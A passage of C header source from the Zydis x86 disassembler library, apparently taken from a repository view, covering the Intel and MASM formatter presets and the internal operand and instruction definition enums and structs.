/* ---------------------------------------------------------------------------------------------- */
/* Intel */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterIntelFormatInstruction(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterIntelFormatOperandMEM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterIntelPrintMnemonic(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterIntelPrintRegister(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg);
ZyanStatus ZydisFormatterIntelPrintDISP(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterIntelPrintTypecast(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* MASM */
/* ---------------------------------------------------------------------------------------------- */
ZyanStatus ZydisFormatterIntelFormatInstructionMASM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
ZyanStatus ZydisFormatterIntelPrintAddressMASM(const ZydisFormatter* formatter,
ZydisFormatterBuffer* buffer, ZydisFormatterContext* context);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Fomatter presets */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* INTEL */
/* ---------------------------------------------------------------------------------------------- */
/**
* The default formatter configuration for `INTEL` style disassembly.
*/
static const ZydisFormatter FORMATTER_INTEL =
{
/* style */ ZYDIS_FORMATTER_STYLE_INTEL,
/* force_memory_size */ ZYAN_FALSE,
/* force_memory_seg */ ZYAN_FALSE,
/* force_relative_branches */ ZYAN_FALSE,
/* force_relative_riprel */ ZYAN_FALSE,
/* print_branch_size */ ZYAN_FALSE,
/* detailed_prefixes */ ZYAN_FALSE,
/* addr_base */ ZYDIS_NUMERIC_BASE_HEX,
/* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* addr_padding_absolute */ ZYDIS_PADDING_AUTO,
/* addr_padding_relative */ 2,
/* disp_base */ ZYDIS_NUMERIC_BASE_HEX,
/* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* disp_padding */ 2,
/* imm_base */ ZYDIS_NUMERIC_BASE_HEX,
/* imm_signedness */ ZYDIS_SIGNEDNESS_UNSIGNED,
/* imm_padding */ 2,
/* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_registers */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT,
/* hex_uppercase */ ZYAN_TRUE,
/* number_format */
{
// ZYDIS_NUMERIC_BASE_DEC
{
// Prefix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
},
// ZYDIS_NUMERIC_BASE_HEX
{
// Prefix
{
/* string */ &FORMATTER_INTEL.number_format[
ZYDIS_NUMERIC_BASE_HEX][0].string_data,
/* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
}
},
/* func_pre_instruction */ ZYAN_NULL,
/* func_post_instruction */ ZYAN_NULL,
/* func_format_instruction */ &ZydisFormatterIntelFormatInstruction,
/* func_pre_operand */ ZYAN_NULL,
/* func_post_operand */ ZYAN_NULL,
/* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG,
/* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM,
/* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR,
/* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM,
/* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic,
/* func_print_register */ &ZydisFormatterIntelPrintRegister,
/* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS,
/* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL,
/* func_print_disp */ &ZydisFormatterIntelPrintDISP,
/* func_print_imm */ &ZydisFormatterBasePrintIMM,
/* func_print_typecast */ &ZydisFormatterIntelPrintTypecast,
/* func_print_segment */ &ZydisFormatterBasePrintSegment,
/* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes,
/* func_print_decorator */ &ZydisFormatterBasePrintDecorator
};
/* ---------------------------------------------------------------------------------------------- */
/* MASM */
/* ---------------------------------------------------------------------------------------------- */
/**
* The default formatter configuration for `MASM` style disassembly.
*/
static const ZydisFormatter FORMATTER_INTEL_MASM =
{
/* style */ ZYDIS_FORMATTER_STYLE_INTEL_MASM,
/* force_memory_size */ ZYAN_TRUE,
/* force_memory_seg */ ZYAN_FALSE,
/* force_relative_branches */ ZYAN_FALSE,
/* force_relative_riprel */ ZYAN_FALSE,
/* print_branch_size */ ZYAN_FALSE,
/* detailed_prefixes */ ZYAN_FALSE,
/* addr_base */ ZYDIS_NUMERIC_BASE_HEX,
/* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* addr_padding_absolute */ ZYDIS_PADDING_DISABLED,
/* addr_padding_relative */ ZYDIS_PADDING_DISABLED,
/* disp_base */ ZYDIS_NUMERIC_BASE_HEX,
/* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED,
/* disp_padding */ ZYDIS_PADDING_DISABLED,
/* imm_base */ ZYDIS_NUMERIC_BASE_HEX,
/* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO,
/* imm_padding */ ZYDIS_PADDING_DISABLED,
/* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_registers */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT,
/* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT,
/* hex_uppercase */ ZYAN_TRUE,
/* number_format */
{
// ZYDIS_NUMERIC_BASE_DEC
{
// Prefix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
},
// ZYDIS_NUMERIC_BASE_HEX
{
// Prefix
{
/* string */ ZYAN_NULL,
/* string_data */ ZYAN_DEFINE_STRING_VIEW(""),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
},
// Suffix
{
/* string */ &FORMATTER_INTEL_MASM.number_format[
ZYDIS_NUMERIC_BASE_HEX][1].string_data,
/* string_data */ ZYAN_DEFINE_STRING_VIEW("h"),
/* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 },
}
}
},
/* func_pre_instruction */ ZYAN_NULL,
/* func_post_instruction */ ZYAN_NULL,
/* func_format_instruction */ &ZydisFormatterIntelFormatInstructionMASM,
/* func_pre_operand */ ZYAN_NULL,
/* func_post_operand */ ZYAN_NULL,
/* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG,
/* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM,
/* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR,
/* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM,
/* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic,
/* func_print_register */ &ZydisFormatterIntelPrintRegister,
/* func_print_address_abs */ &ZydisFormatterIntelPrintAddressMASM,
/* func_print_address_rel */ &ZydisFormatterIntelPrintAddressMASM,
/* func_print_disp */ &ZydisFormatterIntelPrintDISP,
/* func_print_imm */ &ZydisFormatterBasePrintIMM,
/* func_print_typecast */ &ZydisFormatterIntelPrintTypecast,
/* func_print_segment */ &ZydisFormatterBasePrintSegment,
/* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes,
/* func_print_decorator */ &ZydisFormatterBasePrintDecorator
};
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif // ZYDIS_FORMATTER_INTEL_H

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Theodosius/Zydis/Internal/SharedData.h
Unescape View File

@ -0,0 +1,974 @@
/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
#ifndef ZYDIS_INTERNAL_SHAREDDATA_H
#define ZYDIS_INTERNAL_SHAREDDATA_H
#include <Zycore/Defines.h>
#include <Zydis/Mnemonic.h>
#include <Zydis/Register.h>
#include <Zydis/SharedTypes.h>
#include <Zydis/DecoderTypes.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
// MSVC does not like types other than (un-)signed int for bit-fields
#ifdef ZYAN_MSVC
# pragma warning(push)
# pragma warning(disable:4214)
#endif
#pragma pack(push, 1)
/* ---------------------------------------------------------------------------------------------- */
/* Operand definition */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisSemanticOperandType` enum.
*/
typedef enum ZydisSemanticOperandType_
{
ZYDIS_SEMANTIC_OPTYPE_UNUSED,
ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_REG,
ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_MEM,
ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_IMM1,
ZYDIS_SEMANTIC_OPTYPE_GPR8,
ZYDIS_SEMANTIC_OPTYPE_GPR16,
ZYDIS_SEMANTIC_OPTYPE_GPR32,
ZYDIS_SEMANTIC_OPTYPE_GPR64,
ZYDIS_SEMANTIC_OPTYPE_GPR16_32_64,
ZYDIS_SEMANTIC_OPTYPE_GPR32_32_64,
ZYDIS_SEMANTIC_OPTYPE_GPR16_32_32,
ZYDIS_SEMANTIC_OPTYPE_GPR_ASZ,
ZYDIS_SEMANTIC_OPTYPE_FPR,
ZYDIS_SEMANTIC_OPTYPE_MMX,
ZYDIS_SEMANTIC_OPTYPE_XMM,
ZYDIS_SEMANTIC_OPTYPE_YMM,
ZYDIS_SEMANTIC_OPTYPE_ZMM,
ZYDIS_SEMANTIC_OPTYPE_TMM,
ZYDIS_SEMANTIC_OPTYPE_BND,
ZYDIS_SEMANTIC_OPTYPE_SREG,
ZYDIS_SEMANTIC_OPTYPE_CR,
ZYDIS_SEMANTIC_OPTYPE_DR,
ZYDIS_SEMANTIC_OPTYPE_MASK,
ZYDIS_SEMANTIC_OPTYPE_MEM,
ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBX,
ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBY,
ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBZ,
ZYDIS_SEMANTIC_OPTYPE_IMM,
ZYDIS_SEMANTIC_OPTYPE_REL,
ZYDIS_SEMANTIC_OPTYPE_PTR,
ZYDIS_SEMANTIC_OPTYPE_AGEN,
ZYDIS_SEMANTIC_OPTYPE_MOFFS,
ZYDIS_SEMANTIC_OPTYPE_MIB,
/**
* Maximum value of this enum.
*/
ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE = ZYDIS_SEMANTIC_OPTYPE_MIB,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE)
} ZydisSemanticOperandType;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisInternalElementType` enum.
*/
typedef enum ZydisInternalElementType_
{
ZYDIS_IELEMENT_TYPE_INVALID,
ZYDIS_IELEMENT_TYPE_VARIABLE,
ZYDIS_IELEMENT_TYPE_STRUCT,
ZYDIS_IELEMENT_TYPE_INT,
ZYDIS_IELEMENT_TYPE_UINT,
ZYDIS_IELEMENT_TYPE_INT1,
ZYDIS_IELEMENT_TYPE_INT8,
ZYDIS_IELEMENT_TYPE_INT16,
ZYDIS_IELEMENT_TYPE_INT32,
ZYDIS_IELEMENT_TYPE_INT64,
ZYDIS_IELEMENT_TYPE_UINT8,
ZYDIS_IELEMENT_TYPE_UINT16,
ZYDIS_IELEMENT_TYPE_UINT32,
ZYDIS_IELEMENT_TYPE_UINT64,
ZYDIS_IELEMENT_TYPE_UINT128,
ZYDIS_IELEMENT_TYPE_UINT256,
ZYDIS_IELEMENT_TYPE_FLOAT16,
ZYDIS_IELEMENT_TYPE_FLOAT32,
ZYDIS_IELEMENT_TYPE_FLOAT64,
ZYDIS_IELEMENT_TYPE_FLOAT80,
ZYDIS_IELEMENT_TYPE_BCD80,
ZYDIS_IELEMENT_TYPE_CC3,
ZYDIS_IELEMENT_TYPE_CC5,
/**
* Maximum value of this enum.
*/
ZYDIS_IELEMENT_TYPE_MAX_VALUE = ZYDIS_IELEMENT_TYPE_CC5,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_IELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_TYPE_MAX_VALUE)
} ZydisInternalElementType;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisImplicitRegisterType` enum.
*/
typedef enum ZydisImplicitRegisterType_
{
ZYDIS_IMPLREG_TYPE_STATIC,
ZYDIS_IMPLREG_TYPE_GPR_OSZ,
ZYDIS_IMPLREG_TYPE_GPR_ASZ,
ZYDIS_IMPLREG_TYPE_GPR_SSZ,
ZYDIS_IMPLREG_TYPE_IP_ASZ,
ZYDIS_IMPLREG_TYPE_IP_SSZ,
ZYDIS_IMPLREG_TYPE_FLAGS_SSZ,
/**
* Maximum value of this enum.
*/
ZYDIS_IMPLREG_TYPE_MAX_VALUE = ZYDIS_IMPLREG_TYPE_FLAGS_SSZ,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_IMPLREG_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLREG_TYPE_MAX_VALUE)
} ZydisImplicitRegisterType;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisImplicitMemBase` enum.
*/
typedef enum ZydisImplicitMemBase_
{
ZYDIS_IMPLMEM_BASE_AGPR_REG,
ZYDIS_IMPLMEM_BASE_AGPR_RM,
ZYDIS_IMPLMEM_BASE_AAX,
ZYDIS_IMPLMEM_BASE_ADX,
ZYDIS_IMPLMEM_BASE_ABX,
ZYDIS_IMPLMEM_BASE_ASP,
ZYDIS_IMPLMEM_BASE_ABP,
ZYDIS_IMPLMEM_BASE_ASI,
ZYDIS_IMPLMEM_BASE_ADI,
/**
* Maximum value of this enum.
*/
ZYDIS_IMPLMEM_BASE_MAX_VALUE = ZYDIS_IMPLMEM_BASE_ADI,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_IMPLMEM_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLMEM_BASE_MAX_VALUE)
} ZydisImplicitMemBase;
/* ---------------------------------------------------------------------------------------------- */
// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct
// enum types
ZYAN_STATIC_ASSERT(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ACTION_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_REGISTER_REQUIRED_BITS <= 16);
ZYAN_STATIC_ASSERT(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS <= 8);
/**
* Defines the `ZydisOperandDefinition` struct.
*/
typedef struct ZydisOperandDefinition_
{
ZyanU8 type ZYAN_BITFIELD(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS);
ZyanU8 visibility ZYAN_BITFIELD(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS);
ZyanU8 actions ZYAN_BITFIELD(ZYDIS_OPERAND_ACTION_REQUIRED_BITS);
ZyanU16 size[3];
ZyanU8 element_type ZYAN_BITFIELD(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS);
union
{
ZyanU8 encoding ZYAN_BITFIELD(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS);
struct
{
ZyanU8 type ZYAN_BITFIELD(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS);
union
{
ZyanU16 reg ZYAN_BITFIELD(ZYDIS_REGISTER_REQUIRED_BITS);
ZyanU8 id ZYAN_BITFIELD(6);
} reg;
} reg;
struct
{
ZyanU8 seg ZYAN_BITFIELD(3);
ZyanU8 base ZYAN_BITFIELD(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS);
} mem;
} op;
} ZydisOperandDefinition;
/* ---------------------------------------------------------------------------------------------- */
/* Instruction definition */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisReadWriteAction` enum.
*/
typedef enum ZydisReadWriteAction_
{
ZYDIS_RW_ACTION_NONE,
ZYDIS_RW_ACTION_READ,
ZYDIS_RW_ACTION_WRITE,
ZYDIS_RW_ACTION_READWRITE,
/**
* Maximum value of this enum.
*/
ZYDIS_RW_ACTION_MAX_VALUE = ZYDIS_RW_ACTION_READWRITE,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_RW_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_RW_ACTION_MAX_VALUE)
} ZydisReadWriteAction;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisRegisterConstraint` enum.
*/
typedef enum ZydisRegisterConstraint_
{
ZYDIS_REG_CONSTRAINTS_UNUSED,
ZYDIS_REG_CONSTRAINTS_NONE,
ZYDIS_REG_CONSTRAINTS_GPR,
ZYDIS_REG_CONSTRAINTS_SR_DEST,
ZYDIS_REG_CONSTRAINTS_SR,
ZYDIS_REG_CONSTRAINTS_CR,
ZYDIS_REG_CONSTRAINTS_DR,
ZYDIS_REG_CONSTRAINTS_MASK,
ZYDIS_REG_CONSTRAINTS_BND,
ZYDIS_REG_CONSTRAINTS_VSIB,
ZYDIS_REG_CONSTRAINTS_NO_REL,
/**
* Maximum value of this enum.
*/
ZYDIS_REG_CONSTRAINTS_MAX_VALUE = ZYDIS_REG_CONSTRAINTS_NO_REL,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REG_CONSTRAINTS_MAX_VALUE)
} ZydisRegisterConstraint;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisInternalVectorLength` enum.
*/
typedef enum ZydisInternalVectorLength_
{
ZYDIS_IVECTOR_LENGTH_DEFAULT,
ZYDIS_IVECTOR_LENGTH_FIXED_128,
ZYDIS_IVECTOR_LENGTH_FIXED_256,
ZYDIS_IVECTOR_LENGTH_FIXED_512,
/**
* Maximum value of this enum.
*/
ZYDIS_IVECTOR_LENGTH_MAX_VALUE = ZYDIS_IVECTOR_LENGTH_FIXED_512,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IVECTOR_LENGTH_MAX_VALUE)
} ZydisInternalVectorLength;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisInternalElementSize` enum.
*/
typedef enum ZydisInternalElementSize_
{
ZYDIS_IELEMENT_SIZE_INVALID,
ZYDIS_IELEMENT_SIZE_8,
ZYDIS_IELEMENT_SIZE_16,
ZYDIS_IELEMENT_SIZE_32,
ZYDIS_IELEMENT_SIZE_64,
ZYDIS_IELEMENT_SIZE_128,
/**
* Maximum value of this enum.
*/
ZYDIS_IELEMENT_SIZE_MAX_VALUE = ZYDIS_IELEMENT_SIZE_128,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_IELEMENT_SIZE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_SIZE_MAX_VALUE)
} ZydisInternalElementSize;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisEVEXFunctionality` enum.
*/
typedef enum ZydisEVEXFunctionality_
{
ZYDIS_EVEX_FUNC_INVALID,
/**
* `EVEX.b` enables broadcast functionality.
*/
ZYDIS_EVEX_FUNC_BC,
/**
* `EVEX.b` enables embedded-rounding functionality.
*/
ZYDIS_EVEX_FUNC_RC,
/**
* `EVEX.b` enables sae functionality.
*/
ZYDIS_EVEX_FUNC_SAE,
/**
* Maximum value of this enum.
*/
ZYDIS_EVEX_FUNC_MAX_VALUE = ZYDIS_EVEX_FUNC_SAE,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_EVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_FUNC_MAX_VALUE)
} ZydisEVEXFunctionality;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisEVEXTupleType` enum.
*/
typedef enum ZydisEVEXTupleType_
{
ZYDIS_TUPLETYPE_INVALID,
/**
* Full Vector
*/
ZYDIS_TUPLETYPE_FV,
/**
* Half Vector
*/
ZYDIS_TUPLETYPE_HV,
/**
* Full Vector Mem
*/
ZYDIS_TUPLETYPE_FVM,
/**
* Tuple1 Scalar
*/
ZYDIS_TUPLETYPE_T1S,
/**
* Tuple1 Fixed
*/
ZYDIS_TUPLETYPE_T1F,
/**
* Tuple1 4x32
*/
ZYDIS_TUPLETYPE_T1_4X,
/**
* Gather / Scatter
*/
ZYDIS_TUPLETYPE_GSCAT,
/**
* Tuple2
*/
ZYDIS_TUPLETYPE_T2,
/**
* Tuple4
*/
ZYDIS_TUPLETYPE_T4,
/**
* Tuple8
*/
ZYDIS_TUPLETYPE_T8,
/**
* Half Mem
*/
ZYDIS_TUPLETYPE_HVM,
/**
* QuarterMem
*/
ZYDIS_TUPLETYPE_QVM,
/**
* OctMem
*/
ZYDIS_TUPLETYPE_OVM,
/**
* Mem128
*/
ZYDIS_TUPLETYPE_M128,
/**
* MOVDDUP
*/
ZYDIS_TUPLETYPE_DUP,
/**
* Maximum value of this enum.
*/
ZYDIS_TUPLETYPE_MAX_VALUE = ZYDIS_TUPLETYPE_DUP,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_TUPLETYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_TUPLETYPE_MAX_VALUE)
} ZydisEVEXTupleType;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisMVEXFunctionality` enum.
*/
typedef enum ZydisMVEXFunctionality_
{
/**
* The `MVEX.SSS` value is ignored.
*/
ZYDIS_MVEX_FUNC_IGNORED,
/**
* `MVEX.SSS` must be `000b`.
*/
ZYDIS_MVEX_FUNC_INVALID,
/**
* `MVEX.SSS` controls embedded-rounding functionality.
*/
ZYDIS_MVEX_FUNC_RC,
/**
* `MVEX.SSS` controls sae functionality.
*/
ZYDIS_MVEX_FUNC_SAE,
/**
* No special operation (32bit float elements).
*/
ZYDIS_MVEX_FUNC_F_32,
/**
* No special operation (32bit uint elements).
*/
ZYDIS_MVEX_FUNC_I_32,
/**
* No special operation (64bit float elements).
*/
ZYDIS_MVEX_FUNC_F_64,
/**
* No special operation (64bit uint elements).
*/
ZYDIS_MVEX_FUNC_I_64,
/**
* Sf32(reg) or Si32(reg).
*/
ZYDIS_MVEX_FUNC_SWIZZLE_32,
/**
* Sf64(reg) or Si64(reg).
*/
ZYDIS_MVEX_FUNC_SWIZZLE_64,
/**
* Sf32(mem).
*/
ZYDIS_MVEX_FUNC_SF_32,
/**
* Sf32(mem) broadcast only.
*/
ZYDIS_MVEX_FUNC_SF_32_BCST,
/**
* Sf32(mem) broadcast 4to16 only.
*/
ZYDIS_MVEX_FUNC_SF_32_BCST_4TO16,
/**
* Sf64(mem).
*/
ZYDIS_MVEX_FUNC_SF_64,
/**
* Si32(mem).
*/
ZYDIS_MVEX_FUNC_SI_32,
/**
* Si32(mem) broadcast only.
*/
ZYDIS_MVEX_FUNC_SI_32_BCST,
/**
* Si32(mem) broadcast 4to16 only.
*/
ZYDIS_MVEX_FUNC_SI_32_BCST_4TO16,
/**
* Si64(mem).
*/
ZYDIS_MVEX_FUNC_SI_64,
/**
* Uf32.
*/
ZYDIS_MVEX_FUNC_UF_32,
/**
* Uf64.
*/
ZYDIS_MVEX_FUNC_UF_64,
/**
* Ui32.
*/
ZYDIS_MVEX_FUNC_UI_32,
/**
* Ui64.
*/
ZYDIS_MVEX_FUNC_UI_64,
/**
* Df32.
*/
ZYDIS_MVEX_FUNC_DF_32,
/**
* Df64.
*/
ZYDIS_MVEX_FUNC_DF_64,
/**
* Di32.
*/
ZYDIS_MVEX_FUNC_DI_32,
/**
* Di64.
*/
ZYDIS_MVEX_FUNC_DI_64,
/**
* Maximum value of this enum.
*/
ZYDIS_MVEX_FUNC_MAX_VALUE = ZYDIS_MVEX_FUNC_DI_64,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_MVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_FUNC_MAX_VALUE)
} ZydisMVEXFunctionality;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisVEXStaticBroadcast` enum.
*/
typedef enum ZydisVEXStaticBroadcast
{
ZYDIS_VEX_STATIC_BROADCAST_NONE,
ZYDIS_VEX_STATIC_BROADCAST_1_TO_2,
ZYDIS_VEX_STATIC_BROADCAST_1_TO_4,
ZYDIS_VEX_STATIC_BROADCAST_1_TO_8,
ZYDIS_VEX_STATIC_BROADCAST_1_TO_16,
ZYDIS_VEX_STATIC_BROADCAST_1_TO_32,
ZYDIS_VEX_STATIC_BROADCAST_2_TO_4,
/**
* Maximum value of this enum.
*/
ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_VEX_STATIC_BROADCAST_2_TO_4,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS =
ZYAN_BITS_TO_REPRESENT(ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE)
} ZydisVEXStaticBroadcast;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisEVEXStaticBroadcast` enum.
*/
typedef enum ZydisEVEXStaticBroadcast_
{
ZYDIS_EVEX_STATIC_BROADCAST_NONE,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_2,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_4,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_8,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_16,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_32,
ZYDIS_EVEX_STATIC_BROADCAST_1_TO_64,
ZYDIS_EVEX_STATIC_BROADCAST_2_TO_4,
ZYDIS_EVEX_STATIC_BROADCAST_2_TO_8,
ZYDIS_EVEX_STATIC_BROADCAST_2_TO_16,
ZYDIS_EVEX_STATIC_BROADCAST_4_TO_8,
ZYDIS_EVEX_STATIC_BROADCAST_4_TO_16,
ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16,
/**
* Maximum value of this enum.
*/
ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS =
